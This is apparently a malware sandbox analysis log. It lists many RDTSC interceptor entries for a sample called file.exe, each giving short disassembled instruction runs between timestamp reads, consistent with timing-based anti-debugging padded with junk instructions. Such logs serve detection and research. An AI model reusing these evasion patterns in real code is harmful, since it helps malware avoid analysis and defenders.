Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB971 second address: 6EB9BF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F8F08BF29D2h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e sub ecx, dword ptr [ebp+122D3104h] 0x00000014 add edx, 0EE5E9FAh 0x0000001a mov ebx, dword ptr [ebp+1247F9A5h] 0x00000020 mov cl, C0h 0x00000022 add eax, ebx 0x00000024 jmp 00007F8F08BF29D3h 0x00000029 push eax 0x0000002a pushad 0x0000002b push esi 0x0000002c pushad 0x0000002d popad 0x0000002e pop esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB9BF second address: 6EB9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB9C3 second address: 6EBA10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edx, 2DBADE9Ah 0x00000012 push 00000004h 0x00000014 mov dword ptr [ebp+12472E2Bh], esi 0x0000001a nop 0x0000001b jne 00007F8F08BF29D4h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 jmp 00007F8F08BF29CBh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBA10 second address: 6EBA16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743C03 second address: 743C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743C0E second address: 743C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743D5A second address: 743D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744874 second address: 744884 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8F08E68346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744884 second address: 744888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744888 second address: 7448C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8F08E68352h 0x0000000d popad 0x0000000e pushad 0x0000000f je 00007F8F08E6834Ah 0x00000015 push ebx 0x00000016 jmp 00007F8F08E68353h 0x0000001b push esi 0x0000001c pop esi 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7448C9 second address: 7448CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7448CD second address: 7448D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7472A8 second address: 7472BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08BF29CEh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74757F second address: 747583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747583 second address: 747589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747589 second address: 74758F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E9AA second address: 74E9C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E9C1 second address: 74E9C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EC45 second address: 74EC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 jmp 00007F8F08BF29D3h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f push esi 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EC68 second address: 74EC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FA1C second address: 74FA65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8F08BF29C6h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F8F08BF29D5h 0x00000013 jmp 00007F8F08BF29D0h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8F08BF29CDh 0x00000020 je 00007F8F08BF29C6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FA65 second address: 74FA69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0026 second address: 6B003E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8F08BF29CCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B003E second address: 6B0044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0044 second address: 6B0066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F8F08BF29CEh 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F8F08BF29C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0066 second address: 6B006A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B006A second address: 6B0070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755C4A second address: 755C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758D9A second address: 758DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7593C7 second address: 7593CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75963D second address: 759643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759643 second address: 759647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7617BA second address: 7617BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761981 second address: 761996 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68351h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761996 second address: 7619A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761AF0 second address: 761AF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761AF4 second address: 761AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762059 second address: 76206F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F8F08E6834Eh 0x0000000e jno 00007F8F08E68346h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7627C3 second address: 7627C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7627C7 second address: 7627CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7627CB second address: 7627D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762E5C second address: 762E78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68358h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766232 second address: 766244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08BF29CDh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766244 second address: 76624C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76624C second address: 766250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766250 second address: 766254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769F01 second address: 769F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jp 00007F8F08BF29C6h 0x0000000c popad 0x0000000d jmp 00007F8F08BF29D7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781FD3 second address: 781FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781FDB second address: 781FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781FE1 second address: 781FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781FE7 second address: 781FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08BF29D0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781FFC second address: 782013 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E6834Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F8F08E68346h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D503 second address: 78D507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791010 second address: 791057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 push ecx 0x00000008 jnl 00007F8F08E68346h 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 jmp 00007F8F08E68355h 0x00000016 jmp 00007F8F08E68357h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f jno 00007F8F08E68346h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791057 second address: 79105D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793534 second address: 79354D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68355h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A738 second address: 79A751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08BF29D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A751 second address: 79A767 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8F08E68346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F8F08E68348h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79919C second address: 7991A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7991A2 second address: 7991E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68352h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jng 00007F8F08E68346h 0x00000010 jmp 00007F8F08E6834Ah 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jo 00007F8F08E6835Eh 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jno 00007F8F08E68346h 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a pop eax 0x0000002b popad 0x0000002c push edi 0x0000002d pushad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799318 second address: 799342 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F8F08BF29D8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799342 second address: 799352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8F08E68346h 0x0000000a jne 00007F8F08E68346h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799352 second address: 799356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7998FA second address: 799917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F08E68351h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E545 second address: 79E54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E54B second address: 79E54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E54F second address: 79E553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E553 second address: 79E575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08E68357h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E575 second address: 79E580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E580 second address: 79E584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A069E second address: 7A06A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A06A2 second address: 7A06A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A01A2 second address: 7A01B3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jp 00007F8F08BF29C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A01B3 second address: 7A01D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8F08E68346h 0x0000000a ja 00007F8F08E68346h 0x00000010 popad 0x00000011 push edx 0x00000012 jnl 00007F8F08E68346h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b js 00007F8F08E6834Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0334 second address: 7A0344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F8F08BF29CAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0344 second address: 7A0348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2125 second address: 7B2131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8F08BF29CCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF3C0 second address: 7BF3E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 je 00007F8F08E68346h 0x00000009 jnp 00007F8F08E68346h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F8F08E6834Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF3E0 second address: 7BF3E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D863D second address: 7D8646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8E1F second address: 7D8E78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D1h 0x00000007 jc 00007F8F08BF29C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jne 00007F8F08BF29C6h 0x0000001d jmp 00007F8F08BF29D9h 0x00000022 jmp 00007F8F08BF29CAh 0x00000027 popad 0x00000028 jmp 00007F8F08BF29CCh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8E78 second address: 7D8E80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8E80 second address: 7D8E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8E84 second address: 7D8E94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F8F08E6834Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9007 second address: 7D9021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F8F08BF29C6h 0x0000000d jc 00007F8F08BF29C6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9021 second address: 7D9025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9025 second address: 7D903A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8F08BF29CBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D903A second address: 7D903E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9340 second address: 7D9346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D949A second address: 7D949E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D949E second address: 7D94A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC370 second address: 7DC377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC377 second address: 7DC39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F8F08BF29DBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC39C second address: 7DC3DE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F8F08E68346h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jng 00007F8F08E68351h 0x00000013 jp 00007F8F08E6834Bh 0x00000019 push 00000004h 0x0000001b xor edx, dword ptr [ebp+122D38DDh] 0x00000021 push 1427B22Ah 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F8F08E68354h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC66C second address: 7DC69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jg 00007F8F08BF29CEh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8F08BF29D2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC69D second address: 7DC6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
